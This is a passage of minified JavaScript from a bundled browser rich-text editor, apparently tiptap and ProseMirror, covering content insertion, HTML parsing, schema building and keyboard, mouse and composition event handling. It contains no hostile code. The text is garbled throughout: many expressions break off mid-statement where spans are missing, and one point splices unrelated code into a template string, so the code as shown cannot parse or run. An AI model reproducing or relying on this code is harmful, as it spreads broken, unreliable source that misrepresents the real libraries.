u=i.before(o),h=i.after(o);e.delete(u,h).scrollIntoView()}return!0}return!1},XL=t=>({tr:e,dispatch:n})=>{const{from:r,to:a}=t;return n&&e.delete(r,a),!0},ZL=()=>({state:t,dispatch:e})=>d0(t,e),e8=()=>({commands:t})=>t.keyboardShortcut("Enter"),t8=()=>({state:t,dispatch:e})=>zO(t,e);function C0(t){return Object.prototype.toString.call(t)==="[object RegExp]"}function Eh(t,e,n={strict:!0}){const r=Object.keys(e);return r.length?r.every(a=>n.strict?e[a]===t[a]:C0(e[a])?e[a].test(t[a]):e[a]===t[a]):!0}function m2(t,e,n={}){return t.find(r=>r.type===e&&Eh(Object.fromEntries(Object.keys(n).map(a=>[a,r.attrs[a]])),n))}function uN(t,e,n={}){return!!m2(t,e,n)}function E0(t,e,n){var r;if(!t||!e)return;let a=t.parent.childAfter(t.parentOffset);if((!a.node||!a.node.marks.some(f=>f.type===e))&&(a=t.parent.childBefore(t.parentOffset)),!a.node||!a.node.marks.some(f=>f.type===e)||(n=n||((r=a.node.marks[0])==null?void 0:r.attrs),!m2([...a.node.marks],e,n)))return;let o=a.index,c=t.start()+a.offset,u=o+1,h=c+a.node.nodeSize;for(;o>0&&uN([...t.parent.child(o-1).marks],e,n);)o-=1,c-=t.parent.child(o).nodeSize;for(;u({tr:n,state:r,dispatch:a})=>{const i=Ta(t,r.schema),{doc:o,selection:c}=n,{$from:u,from:h,to:f}=c;if(a){const m=E0(u,i,e);if(m&&m.from<=h&&m.to>=f){const g=Ze.create(o,m.from,m.to);n.setSelection(g)}}return!0},r8=t=>e=>{const n=typeof t=="function"?t(e):t;for(let r=0;r({editor:n,view:r,tr:a,dispatch:i})=>{e={scrollIntoView:!0,...e};const o=()=>{(Th()||hN())&&r.dom.focus(),s8()&&!Th()&&!hN()&&r.dom.focus({preventScroll:!0}),requestAnimationFrame(()=>{n.isDestroyed||(r.focus(),e!=null&&e.scrollIntoView&&n.commands.scrollIntoView())})};try{if(r.hasFocus()&&t===null||t===!1)return!0}catch{return!1}if(i&&t===null&&!g2(n.state.selection))return o(),!0;const c=x2(a.doc,t)||n.state.selection,u=n.state.selection.eq(c);return i&&(u||a.setSelection(c),u&&a.storedMarks&&a.setStoredMarks(a.storedMarks),o()),!0},i8=(t,e)=>n=>t.every((r,a)=>e(r,{...n,index:a})),o8=(t,e)=>({tr:n,commands:r})=>r.insertContentAt({from:n.selection.from,to:n.selection.to},t,e),y2=t=>{const e=t.childNodes;for(let n=e.length-1;n>=0;n-=1){const r=e[n];r.nodeType===3&&r.nodeValue&&/^(\n\s\s|\n)$/.test(r.nodeValue)?t.removeChild(r):r.nodeType===1&&y2(r)}return t};function zu(t){if(typeof window>"u")throw new Error("[tiptap error]: there is no window object available, so this function cannot be used");const e=`${t}`,n=new window.DOMParser().parseFromString(e,"text/html").body;return y2(n)}function ld(t,e,n){if(t instanceof wa||t instanceof be)return t;n={slice:!0,parseOptions:{},...n};const r=typeof t=="object"&&t!==null,a=typeof t=="string";if(r)try{if(Array.isArray(t)&&t.length>0)return be.fromArray(t.map(c=>e.nodeFromJSON(c)));const o=e.nodeFromJSON(t);return n.errorOnInvalidContent&&o.check(),o}catch(i){if(n.errorOnInvalidContent)throw new Error("[tiptap error]: Invalid JSON content",{cause:i});return console.warn("[tiptap warn]: Invalid content.","Passed value:",t,"Error:",i),ld("",e,n)}if(a){if(n.errorOnInvalidContent){let o=!1,c="";const u=new nS({topNode:e.spec.topNode,marks:e.spec.marks,nodes:e.spec.nodes.append({__tiptap__private__unknown__catch__all__node:{content:"inline*",group:"block",parseDOM:[{tag:"*",getAttrs:h=>(o=!0,c=typeof h=="string"?h:h.outerHTML,null)}]}})});if(n.slice?pi.fromSchema(u).parseSlice(zu(t),n.parseOptions):pi.fromSchema(u).parse(zu(t),n.parseOptions),n.errorOnInvalidContent&&o)throw new Error("[tiptap error]: Invalid HTML content",{cause:new Error(`Invalid element found: ${c}`)})}const i=pi.fromSchema(e);return n.slice?i.parseSlice(zu(t),n.parseOptions).content:i.parse(zu(t),n.parseOptions)}return ld("",e,n)}function l8(t,e,n){const r=t.steps.length-1;if(r{o===0&&(o=f)}),t.setSelection(rt.near(t.doc.resolve(o),n))}var c8=t=>!("type"in t),d8=(t,e,n)=>({tr:r,dispatch:a,editor:i})=>{var o;if(a){n={parseOptions:i.options.parseOptions,updateSelection:!0,applyInputRules:!1,applyPasteRules:!1,...n};let c;const u=v=>{i.emit("contentError",{editor:i,error:v,disableCollaboration:()=>{"collaboration"in i.storage&&typeof i.storage.collaboration=="object"&&i.storage.collaboration&&(i.storage.collaboration.isDisabled=!0)}})},h={preserveWhitespace:"full",...n.parseOptions};if(!n.errorOnInvalidContent&&!i.options.enableContentCheck&&i.options.emitContentError)try{ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:!0})}catch(v){u(v)}try{c=ld(e,i.schema,{parseOptions:h,errorOnInvalidContent:(o=n.errorOnInvalidContent)!=null?o:i.options.enableContentCheck})}catch(v){return u(v),!1}let{from:f,to:m}=typeof t=="number"?{from:t,to:t}:{from:t.from,to:t.to},g=!0,y=!0;if((c8(c)?c:[c]).forEach(v=>{v.check(),g=g?v.isText&&v.marks.length===0:!1,y=y?v.isBlock:!1}),f===m&&y){const{parent:v}=r.doc.resolve(f);v.isTextblock&&!v.type.spec.code&&!v.childCount&&(f-=1,m+=1)}let w;if(g){if(Array.isArray(e))w=e.map(v=>v.text||"").join("");else if(e instanceof be){let v="";e.forEach(k=>{k.text&&(v+=k.text)}),w=v}else typeof e=="object"&&e&&e.text?w=e.text:w=e;r.insertText(w,f,m)}else{w=c;const v=r.doc.resolve(f),k=v.node(),C=v.parentOffset===0,E=k.isText||k.isTextblock,T=k.content.size>0;C&&E&&T&&(f=Math.max(0,f-1)),r.replaceWith(f,m,w)}n.updateSelection&&l8(r,r.steps.length-1,-1),n.applyInputRules&&r.setMeta("applyInputRules",{from:f,text:w}),n.applyPasteRules&&r.setMeta("applyPasteRules",{from:f,text:w})}return!0},u8=()=>({state:t,dispatch:e})=>DO(t,e),h8=()=>({state:t,dispatch:e})=>LO(t,e),f8=()=>({state:t,dispatch:e})=>wS(t,e),p8=()=>({state:t,dispatch:e})=>CS(t,e),m8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,-1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},g8=()=>({state:t,dispatch:e,tr:n})=>{try{const r=kf(t.doc,t.selection.$from.pos,1);return r==null?!1:(n.join(r,2),e&&e(n),!0)}catch{return!1}},x8=()=>({state:t,dispatch:e})=>PO(t,e),y8=()=>({state:t,dispatch:e})=>OO(t,e);function b2(){return typeof navigator<"u"?/Mac/.test(navigator.platform):!1}function b8(t){const e=t.split(/-(?!$)/);let n=e[e.length-1];n==="Space"&&(n=" ");let r,a,i,o;for(let c=0;c({editor:e,view:n,tr:r,dispatch:a})=>{const i=b8(t).split(/-(?!$)/),o=i.find(h=>!["Alt","Ctrl","Meta","Shift"].includes(h)),c=new KeyboardEvent("keydown",{key:o==="Space"?" ":o,altKey:i.includes("Alt"),ctrlKey:i.includes("Ctrl"),metaKey:i.includes("Meta"),shiftKey:i.includes("Shift"),bubbles:!0,cancelable:!0}),u=e.captureTransaction(()=>{n.someProp("handleKeyDown",h=>h(n,c))});return u==null||u.steps.forEach(h=>{const f=h.map(r.mapping);f&&a&&r.maybeStep(f)}),!0};function Ni(t,e,n={}){const{from:r,to:a,empty:i}=t.selection,o=e?Sn(e,t.schema):null,c=[];t.doc.nodesBetween(r,a,(m,g)=>{if(m.isText)return;const y=Math.max(r,g),N=Math.min(a,g+m.nodeSize);c.push({node:m,from:y,to:N})});const u=a-r,h=c.filter(m=>o?o.name===m.node.type.name:!0).filter(m=>Eh(m.node.attrs,n,{strict:!1}));return i?!!h.length:h.reduce((m,g)=>m+g.to-g.from,0)>=u}var N8=(t,e={})=>({state:n,dispatch:r})=>{const a=Sn(t,n.schema);return Ni(n,a,e)?_O(n,r):!1},w8=()=>({state:t,dispatch:e})=>AS(t,e),j8=t=>({state:e,dispatch:n})=>{const r=Sn(t,e.schema);return JO(r)(e,n)},k8=()=>({state:t,dispatch:e})=>TS(t,e);function Rf(t,e){return e.nodes[t]?"node":e.marks[t]?"mark":null}function fN(t,e){const n=typeof e=="string"?[e]:e;return Object.keys(t).reduce((r,a)=>(n.includes(a)||(r[a]=t[a]),r),{})}var S8=(t,e)=>({tr:n,state:r,dispatch:a})=>{let i=null,o=null;const c=Rf(typeof t=="string"?t:t.name,r.schema);if(!c)return!1;c==="node"&&(i=Sn(t,r.schema)),c==="mark"&&(o=Ta(t,r.schema));let u=!1;return n.selection.ranges.forEach(h=>{r.doc.nodesBetween(h.$from.pos,h.$to.pos,(f,m)=>{i&&i===f.type&&(u=!0,a&&n.setNodeMarkup(m,void 0,fN(f.attrs,e))),o&&f.marks.length&&f.marks.forEach(g=>{o===g.type&&(u=!0,a&&n.addMark(m,m+f.nodeSize,o.create(fN(g.attrs,e))))})})}),u},C8=()=>({tr:t,dispatch:e})=>(e&&t.scrollIntoView(),!0),E8=()=>({tr:t,dispatch:e})=>{if(e){const n=new Vr(t.doc);t.setSelection(n)}return!0},T8=()=>({state:t,dispatch:e})=>kS(t,e),M8=()=>({state:t,dispatch:e})=>ES(t,e),A8=()=>({state:t,dispatch:e})=>BO(t,e),I8=()=>({state:t,dispatch:e})=>WO(t,e),R8=()=>({state:t,dispatch:e})=>HO(t,e);function ix(t,e,n={},r={}){return ld(t,e,{slice:!1,parseOptions:n,errorOnInvalidContent:r.errorOnInvalidContent})}var P8=(t,{errorOnInvalidContent:e,emitUpdate:n=!0,parseOptions:r={}}={})=>({editor:a,tr:i,dispatch:o,commands:c})=>{const{doc:u}=i;if(r.preserveWhitespace!=="full"){const h=ix(t,a.schema,r,{errorOnInvalidContent:e??a.options.enableContentCheck});return o&&i.replaceWith(0,u.content.size,h).setMeta("preventUpdate",!n),!0}return o&&i.setMeta("preventUpdate",!n),c.insertContentAt({from:0,to:u.content.size},t,{parseOptions:r,errorOnInvalidContent:e??a.options.enableContentCheck})};function v2(t,e){const n=Ta(e,t.schema),{from:r,to:a,empty:i}=t.selection,o=[];i?(t.storedMarks&&o.push(...t.storedMarks),o.push(...t.selection.$head.marks())):t.doc.nodesBetween(r,a,u=>{o.push(...u.marks)});const c=o.find(u=>u.type.name===n.name);return c?{...c.attrs}:{}}function N2(t,e){const n=new l0(t);return e.forEach(r=>{r.steps.forEach(a=>{n.step(a)})}),n}function O8(t){for(let e=0;e{n(a)&&r.push({node:a,pos:i})}),r}function w2(t,e){for(let n=t.depth;n>0;n-=1){const r=t.node(n);if(e(r))return{pos:n>0?t.before(n):0,start:t.start(n),depth:n,node:r}}}function Pf(t){return e=>w2(e.$from,t)}function Ue(t,e,n){return t.config[e]===void 0&&t.parent?Ue(t.parent,e,n):typeof t.config[e]=="function"?t.config[e].bind({...n,parent:t.parent?Ue(t.parent,e,n):null}):t.config[e]}function T0(t){return t.map(e=>{const n={name:e.name,options:e.options,storage:e.storage},r=Ue(e,"addExtensions",n);return r?[e,...T0(r())]:e}).flat(10)}function M0(t,e){const n=Mo.fromSchema(e).serializeFragment(t),a=document.implementation.createHTMLDocument().createElement("div");return a.appendChild(n),a.innerHTML}function j2(t){return typeof t=="function"}function jt(t,e=void 0,...n){return j2(t)?e?t.bind(e)(...n):t(...n):t}function L8(t={}){return Object.keys(t).length===0&&t.constructor===Object}function Tl(t){const e=t.filter(a=>a.type==="extension"),n=t.filter(a=>a.type==="node"),r=t.filter(a=>a.type==="mark");return{baseExtensions:e,nodeExtensions:n,markExtensions:r}}function k2(t){const e=[],{nodeExtensions:n,markExtensions:r}=Tl(t),a=[...n,...r],i={default:null,validate:void 0,rendered:!0,renderHTML:null,parseHTML:null,keepOnSplit:!0,isRequired:!1},o=n.filter(h=>h.name!=="text").map(h=>h.name),c=r.map(h=>h.name),u=[...o,...c];return t.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage,extensions:a},m=Ue(h,"addGlobalAttributes",f);if(!m)return;m().forEach(y=>{let N;Array.isArray(y.types)?N=y.types:y.types==="*"?N=u:y.types==="nodes"?N=o:y.types==="marks"?N=c:N=[],N.forEach(w=>{Object.entries(y.attributes).forEach(([v,k])=>{e.push({type:w,name:v,attribute:{...i,...k}})})})})}),a.forEach(h=>{const f={name:h.name,options:h.options,storage:h.storage},m=Ue(h,"addAttributes",f);if(!m)return;const g=m();Object.entries(g).forEach(([y,N])=>{const w={...i,...N};typeof(w==null?void 0:w.default)=="function"&&(w.default=w.default()),w!=null&&w.isRequired&&(w==null?void 0:w.default)===void 0&&delete w.default,e.push({type:h.name,name:y,attribute:w})})}),e}function _8(t){const e=[];let n="",r=!1,a=!1,i=0;const o=t.length;for(let c=0;c0){i-=1,n+=u;continue}if(u===";"&&i===0){e.push(n),n="";continue}}n+=u}return n&&e.push(n),e}function pN(t){const e=[],n=_8(t||""),r=n.length;for(let a=0;a!!e).reduce((e,n)=>{const r={...e};return Object.entries(n).forEach(([a,i])=>{if(!r[a]){r[a]=i;return}if(a==="class"){const c=i?String(i).split(" "):[],u=r[a]?r[a].split(" "):[],h=c.filter(f=>!u.includes(f));r[a]=[...u,...h].join(" ")}else if(a==="style"){const c=new Map([...pN(r[a]),...pN(i)]);r[a]=Array.from(c.entries()).map(([u,h])=>`${u}: ${h}`).join("; ")}else r[a]=i}),r},{})}function cd(t,e){return e.filter(n=>n.type===t.type.name).filter(n=>n.attribute.rendered).map(n=>n.attribute.renderHTML?n.attribute.renderHTML(t.attrs)||{}:{[n.name]:t.attrs[n.name]}).reduce((n,r)=>St(n,r),{})}function z8(t){return typeof t!="string"?t:t.match(/^[+-]?(?:\d*\.)?\d+$/)?Number(t):t==="true"?!0:t==="false"?!1:t}function mN(t,e){return"style"in t?t:{...t,getAttrs:n=>{const r=t.getAttrs?t.getAttrs(n):t.attrs;if(r===!1)return!1;const a=e.reduce((i,o)=>{const c=o.attribute.parseHTML?o.attribute.parseHTML(n):z8(n.getAttribute(o.name));return c==null?i:{...i,[o.name]:c}},{});return{...r,...a}}}}function gN(t){return Object.fromEntries(Object.entries(t).filter(([e,n])=>e==="attrs"&&L8(n)?!1:n!=null))}function xN(t){var e,n;const r={};return!((e=t==null?void 0:t.attribute)!=null&&e.isRequired)&&"default"in((t==null?void 0:t.attribute)||{})&&(r.default=t.attribute.default),((n=t==null?void 0:t.attribute)==null?void 0:n.validate)!==void 0&&(r.validate=t.attribute.validate),[t.name,r]}function $8(t,e){var n;const r=k2(t),{nodeExtensions:a,markExtensions:i}=Tl(t),o=(n=a.find(h=>Ue(h,"topNode")))==null?void 0:n.name,c=Object.fromEntries(a.map(h=>{const f=r.filter(k=>k.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((k,C)=>{const E=Ue(C,"extendNodeSchema",m);return{...k,...E?E(h):{}}},{}),y=gN({...g,content:jt(Ue(h,"content",m)),marks:jt(Ue(h,"marks",m)),group:jt(Ue(h,"group",m)),inline:jt(Ue(h,"inline",m)),atom:jt(Ue(h,"atom",m)),selectable:jt(Ue(h,"selectable",m)),draggable:jt(Ue(h,"draggable",m)),code:jt(Ue(h,"code",m)),whitespace:jt(Ue(h,"whitespace",m)),linebreakReplacement:jt(Ue(h,"linebreakReplacement",m)),defining:jt(Ue(h,"defining",m)),isolating:jt(Ue(h,"isolating",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ue(h,"parseHTML",m));N&&(y.parseDOM=N.map(k=>mN(k,f)));const w=Ue(h,"renderHTML",m);w&&(y.toDOM=k=>w({node:k,HTMLAttributes:cd(k,f)}));const v=Ue(h,"renderText",m);return v&&(y.toText=v),[h.name,y]})),u=Object.fromEntries(i.map(h=>{const f=r.filter(v=>v.type===h.name),m={name:h.name,options:h.options,storage:h.storage,editor:e},g=t.reduce((v,k)=>{const C=Ue(k,"extendMarkSchema",m);return{...v,...C?C(h):{}}},{}),y=gN({...g,inclusive:jt(Ue(h,"inclusive",m)),excludes:jt(Ue(h,"excludes",m)),group:jt(Ue(h,"group",m)),spanning:jt(Ue(h,"spanning",m)),code:jt(Ue(h,"code",m)),attrs:Object.fromEntries(f.map(xN))}),N=jt(Ue(h,"parseHTML",m));N&&(y.parseDOM=N.map(v=>mN(v,f)));const w=Ue(h,"renderHTML",m);return w&&(y.toDOM=v=>w({mark:v,HTMLAttributes:cd(v,f)})),[h.name,y]}));return new nS({topNode:o,nodes:c,marks:u})}function F8(t){const e=t.filter((n,r)=>t.indexOf(n)!==r);return Array.from(new Set(e))}function Wc(t){return t.sort((n,r)=>{const a=Ue(n,"priority")||100,i=Ue(r,"priority")||100;return a>i?-1:ar.name));return n.length&&console.warn(`[tiptap warn]: Duplicate extension names found: [${n.map(r=>`'${r}'`).join(", ")}]. This can lead to issues.`),e}function C2(t,e,n){const{from:r,to:a}=e,{blockSeparator:i=` +`))),0,0),t.someProp("transformPasted",g=>{c=g(c,t,!0)}),c;let m=t.someProp("clipboardTextParser",g=>g(e,a,r,t));if(m)c=m;else{let g=a.marks(),{schema:y}=t.state,N=Mo.fromSchema(y);o=document.createElement("div"),e.split(/(?:\r\n?|\n)+/).forEach(w=>{let v=o.appendChild(document.createElement("p"));w&&v.appendChild(N.serializeNode(y.text(w,g)))})}}else t.someProp("transformPastedHTML",m=>{n=m(n,t)}),o=WD(n),vd&&UD(o);let h=o&&o.querySelector("[data-pm-slice]"),f=h&&/^(\d+) (\d+)(?: -(\d+))? (.*)/.exec(h.getAttribute("data-pm-slice")||"");if(f&&f[3])for(let m=+f[3];m>0;m--){let g=o.firstChild;for(;g&&g.nodeType!=1;)g=g.nextSibling;if(!g)break;o=g}if(c||(c=(t.someProp("clipboardParser")||t.someProp("domParser")||pi.fromSchema(t.state.schema)).parseSlice(o,{preserveWhitespace:!!(u||f),context:a,ruleFromNode(g){return g.nodeName=="BR"&&!g.nextSibling&&g.parentNode&&!BD.test(g.parentNode.nodeName)?{ignore:!0}:null}})),f)c=KD(X1(c,+f[1],+f[2]),f[4]);else if(c=Ie.maxOpen(VD(c.content,a),!0),c.openStart||c.openEnd){let m=0,g=0;for(let y=c.content.firstChild;m{c=m(c,t,u)}),c}const BD=/^(a|abbr|acronym|b|cite|code|del|em|i|ins|kbd|label|output|q|ruby|s|samp|span|strong|sub|sup|time|u|tt|var)$/i;function VD(t,e){if(t.childCount<2)return t;for(let n=e.depth;n>=0;n--){let a=e.node(n).contentMatchAt(e.index(n)),i,o=[];if(t.forEach(c=>{if(!o)return;let u=a.findWrapping(c.type),h;if(!u)return o=null;if(h=o.length&&i.length&&ZS(u,i,c,o[o.length-1],0))o[o.length-1]=h;else{o.length&&(o[o.length-1]=e2(o[o.length-1],i.length));let f=XS(c,u);o.push(f),a=a.matchType(f.type),i=u}}),o)return be.from(o)}return t}function XS(t,e,n=0){for(let r=e.length-1;r>=n;r--)t=e[r].create(null,be.from(t));return t}function ZS(t,e,n,r,a){if(a1&&(i=0),a=n&&(c=e<0?o.contentMatchAt(0).fillBefore(c,i<=a).append(c):c.append(o.contentMatchAt(o.childCount).fillBefore(be.empty,!0))),t.replaceChild(e<0?0:t.childCount-1,o.copy(c))}function X1(t,e,n){return en})),Zm.createHTML(t)):t}function WD(t){let e=/^(\s*]*>)*/.exec(t);e&&(t=t.slice(e[0].length));let n=n2().createElement("div"),r=/<([a-z][^>\s]+)/i.exec(t),a;if((a=r&&t2[r[1].toLowerCase()])&&(t=a.map(i=>"<"+i+">").join("")+t+a.map(i=>"").reverse().join("")),n.innerHTML=HD(t),a)for(let i=0;i=0;c-=2){let u=n.nodes[r[c]];if(!u||u.hasRequiredAttrs())break;a=be.from(u.create(r[c+1],a)),i++,o++}return new Ie(a,i,o)}const vr={},Nr={},qD={touchstart:!0,touchmove:!0};class GD{constructor(){this.shiftKey=!1,this.mouseDown=null,this.lastKeyCode=null,this.lastKeyCodeTime=0,this.lastClick={time:0,x:0,y:0,type:"",button:0},this.lastSelectionOrigin=null,this.lastSelectionTime=0,this.lastIOSEnter=0,this.lastIOSEnterFallbackTimeout=-1,this.lastFocus=0,this.lastTouch=0,this.lastChromeDelete=0,this.composing=!1,this.compositionNode=null,this.composingTimeout=-1,this.compositionNodes=[],this.compositionEndedAt=-2e8,this.compositionID=1,this.badSafariComposition=!1,this.compositionPendingChanges=0,this.domChangeCount=0,this.eventHandlers=Object.create(null),this.hideSelectionGuard=null}}function JD(t){for(let e in vr){let n=vr[e];t.dom.addEventListener(e,t.input.eventHandlers[e]=r=>{QD(t,r)&&!b0(t,r)&&(t.editable||!(r.type in Nr))&&n(t,r)},qD[e]?{passive:!0}:void 0)}ur&&t.dom.addEventListener("input",()=>null),ax(t)}function ui(t,e){t.input.lastSelectionOrigin=e,t.input.lastSelectionTime=Date.now()}function YD(t){t.domObserver.stop();for(let e in t.input.eventHandlers)t.dom.removeEventListener(e,t.input.eventHandlers[e]);clearTimeout(t.input.composingTimeout),clearTimeout(t.input.lastIOSEnterFallbackTimeout)}function ax(t){t.someProp("handleDOMEvents",e=>{for(let n in e)t.input.eventHandlers[n]||t.dom.addEventListener(n,t.input.eventHandlers[n]=r=>b0(t,r))})}function b0(t,e){return t.someProp("handleDOMEvents",n=>{let r=n[e.type];return r?r(t,e)||e.defaultPrevented:!1})}function QD(t,e){if(!e.bubbles)return!0;if(e.defaultPrevented)return!1;for(let n=e.target;n!=t.dom;n=n.parentNode)if(!n||n.nodeType==11||n.pmViewDesc&&n.pmViewDesc.stopEvent(e))return!1;return!0}function XD(t,e){!b0(t,e)&&vr[e.type]&&(t.editable||!(e.type in Nr))&&vr[e.type](t,e)}Nr.keydown=(t,e)=>{let n=e;if(t.input.shiftKey=n.keyCode==16||n.shiftKey,!s2(t,n)&&(t.input.lastKeyCode=n.keyCode,t.input.lastKeyCodeTime=Date.now(),!(va&&Xn&&n.keyCode==13)))if(n.keyCode!=229&&t.domObserver.forceFlush(),El&&n.keyCode==13&&!n.ctrlKey&&!n.altKey&&!n.metaKey){let r=Date.now();t.input.lastIOSEnter=r,t.input.lastIOSEnterFallbackTimeout=setTimeout(()=>{t.input.lastIOSEnter==r&&(t.someProp("handleKeyDown",a=>a(t,to(13,"Enter"))),t.input.lastIOSEnter=0)},200)}else t.someProp("handleKeyDown",r=>r(t,n))||FD(t,n)?n.preventDefault():ui(t,"key")};Nr.keyup=(t,e)=>{e.keyCode==16&&(t.input.shiftKey=!1)};Nr.keypress=(t,e)=>{let n=e;if(s2(t,n)||!n.charCode||n.ctrlKey&&!n.altKey||ss&&n.metaKey)return;if(t.someProp("handleKeyPress",a=>a(t,n))){n.preventDefault();return}let r=t.state.selection;if(!(r instanceof Ze)||!r.$from.sameParent(r.$to)){let a=String.fromCharCode(n.charCode),i=()=>t.state.tr.insertText(a).scrollIntoView();!/[\r\n]/.test(a)&&!t.someProp("handleTextInput",o=>o(t,r.$from.pos,r.$to.pos,a,i))&&t.dispatch(i()),n.preventDefault()}};function Mf(t){return{left:t.clientX,top:t.clientY}}function ZD(t,e){let n=e.x-t.clientX,r=e.y-t.clientY;return n*n+r*r<100}function v0(t,e,n,r,a){if(r==-1)return!1;let i=t.state.doc.resolve(r);for(let o=i.depth+1;o>0;o--)if(t.someProp(e,c=>o>i.depth?c(t,n,i.nodeAfter,i.before(o),a,!0):c(t,n,i.node(o),i.before(o),a,!1)))return!0;return!1}function Nl(t,e,n){if(t.focused||t.focus(),t.state.selection.eq(e))return;let r=t.state.tr.setSelection(e);r.setMeta("pointer",!0),t.dispatch(r)}function eL(t,e){if(e==-1)return!1;let n=t.state.doc.resolve(e),r=n.nodeAfter;return r&&r.isAtom&&Xe.isSelectable(r)?(Nl(t,new Xe(n)),!0):!1}function tL(t,e){if(e==-1)return!1;let n=t.state.selection,r,a;n instanceof Xe&&(r=n.node);let i=t.state.doc.resolve(e);for(let o=i.depth+1;o>0;o--){let c=o>i.depth?i.nodeAfter:i.node(o);if(Xe.isSelectable(c)){r&&n.$from.depth>0&&o>=n.$from.depth&&i.before(n.$from.depth+1)==n.$from.pos?a=i.before(n.$from.depth):a=i.before(o);break}}return a!=null?(Nl(t,Xe.create(t.state.doc,a)),!0):!1}function nL(t,e,n,r,a){return v0(t,"handleClickOn",e,n,r)||t.someProp("handleClick",i=>i(t,e,r))||(a?tL(t,n):eL(t,n))}function rL(t,e,n,r){return v0(t,"handleDoubleClickOn",e,n,r)||t.someProp("handleDoubleClick",a=>a(t,e,r))}function sL(t,e,n,r){return v0(t,"handleTripleClickOn",e,n,r)||t.someProp("handleTripleClick",a=>a(t,e,r))||aL(t,n,r)}function aL(t,e,n){if(n.button!=0)return!1;let r=t.state.doc;if(e==-1)return r.inlineContent?(Nl(t,Ze.create(r,0,r.content.size)),!0):!1;let a=r.resolve(e);for(let i=a.depth+1;i>0;i--){let o=i>a.depth?a.nodeAfter:a.node(i),c=a.before(i);if(o.inlineContent)Nl(t,Ze.create(r,c+1,c+1+o.content.size));else if(Xe.isSelectable(o))Nl(t,Xe.create(r,c));else continue;return!0}}function N0(t){return jh(t)}const r2=ss?"metaKey":"ctrlKey";vr.mousedown=(t,e)=>{let n=e;t.input.shiftKey=n.shiftKey;let r=N0(t),a=Date.now(),i="singleClick";a-t.input.lastClick.time<500&&ZD(n,t.input.lastClick)&&!n[r2]&&t.input.lastClick.button==n.button&&(t.input.lastClick.type=="singleClick"?i="doubleClick":t.input.lastClick.type=="doubleClick"&&(i="tripleClick")),t.input.lastClick={time:a,x:n.clientX,y:n.clientY,type:i,button:n.button};let o=t.posAtCoords(Mf(n));o&&(i=="singleClick"?(t.input.mouseDown&&t.input.mouseDown.done(),t.input.mouseDown=new iL(t,o,n,!!r)):(i=="doubleClick"?rL:sL)(t,o.pos,o.inside,n)?n.preventDefault():ui(t,"pointer"))};class iL{constructor(e,n,r,a){this.view=e,this.pos=n,this.event=r,this.flushed=a,this.delayedSelectionSync=!1,this.mightDrag=null,this.startDoc=e.state.doc,this.selectNode=!!r[r2],this.allowDefault=r.shiftKey;let i,o;if(n.inside>-1)i=e.state.doc.nodeAt(n.inside),o=n.inside;else{let f=e.state.doc.resolve(n.pos);i=f.parent,o=f.depth?f.before():0}const c=a?null:r.target,u=c?e.docView.nearestDesc(c,!0):null;this.target=u&&u.nodeDOM.nodeType==1?u.nodeDOM:null;let{selection:h}=e.state;(r.button==0&&i.type.spec.draggable&&i.type.spec.selectable!==!1||h instanceof Xe&&h.from<=o&&h.to>o)&&(this.mightDrag={node:i,pos:o,addAttr:!!(this.target&&!this.target.draggable),setUneditable:!!(this.target&&ls&&!this.target.hasAttribute("contentEditable"))}),this.target&&this.mightDrag&&(this.mightDrag.addAttr||this.mightDrag.setUneditable)&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&(this.target.draggable=!0),this.mightDrag.setUneditable&&setTimeout(()=>{this.view.input.mouseDown==this&&this.target.setAttribute("contentEditable","false")},20),this.view.domObserver.start()),e.root.addEventListener("mouseup",this.up=this.up.bind(this)),e.root.addEventListener("mousemove",this.move=this.move.bind(this)),ui(e,"pointer")}done(){this.view.root.removeEventListener("mouseup",this.up),this.view.root.removeEventListener("mousemove",this.move),this.mightDrag&&this.target&&(this.view.domObserver.stop(),this.mightDrag.addAttr&&this.target.removeAttribute("draggable"),this.mightDrag.setUneditable&&this.target.removeAttribute("contentEditable"),this.view.domObserver.start()),this.delayedSelectionSync&&setTimeout(()=>ka(this.view)),this.view.input.mouseDown=null}up(e){if(this.done(),!this.view.dom.contains(e.target))return;let n=this.pos;this.view.state.doc!=this.startDoc&&(n=this.view.posAtCoords(Mf(e))),this.updateAllowDefault(e),this.allowDefault||!n?ui(this.view,"pointer"):nL(this.view,n.pos,n.inside,e,this.selectNode)?e.preventDefault():e.button==0&&(this.flushed||ur&&this.mightDrag&&!this.mightDrag.node.isAtom||Xn&&!this.view.state.selection.visible&&Math.min(Math.abs(n.pos-this.view.state.selection.from),Math.abs(n.pos-this.view.state.selection.to))<=2)?(Nl(this.view,rt.near(this.view.state.doc.resolve(n.pos))),e.preventDefault()):ui(this.view,"pointer")}move(e){this.updateAllowDefault(e),ui(this.view,"pointer"),e.buttons==0&&this.done()}updateAllowDefault(e){!this.allowDefault&&(Math.abs(this.event.x-e.clientX)>4||Math.abs(this.event.y-e.clientY)>4)&&(this.allowDefault=!0)}}vr.touchstart=t=>{t.input.lastTouch=Date.now(),N0(t),ui(t,"pointer")};vr.touchmove=t=>{t.input.lastTouch=Date.now(),ui(t,"pointer")};vr.contextmenu=t=>N0(t);function s2(t,e){return t.composing?!0:ur&&Math.abs(e.timeStamp-t.input.compositionEndedAt)<500?(t.input.compositionEndedAt=-2e8,!0):!1}const oL=va?5e3:-1;Nr.compositionstart=Nr.compositionupdate=t=>{if(!t.composing){t.domObserver.flush();let{state:e}=t,n=e.selection.$to;if(e.selection instanceof Ze&&(e.storedMarks||!n.textOffset&&n.parentOffset&&n.nodeBefore.marks.some(r=>r.type.spec.inclusive===!1)||Xn&&DS&&lL(t)))t.markCursor=t.state.storedMarks||n.marks(),jh(t,!0),t.markCursor=null;else if(jh(t,!e.selection.empty),ls&&e.selection.empty&&n.parentOffset&&!n.textOffset&&n.nodeBefore.marks.length){let r=t.domSelectionRange();for(let a=r.focusNode,i=r.focusOffset;a&&a.nodeType==1&&i!=0;){let o=i<0?a.lastChild:a.childNodes[i-1];if(!o)break;if(o.nodeType==3){let c=t.domSelection();c&&c.collapse(o,o.nodeValue.length);break}else a=o,i=-1}}t.input.composing=!0}a2(t,oL)};function 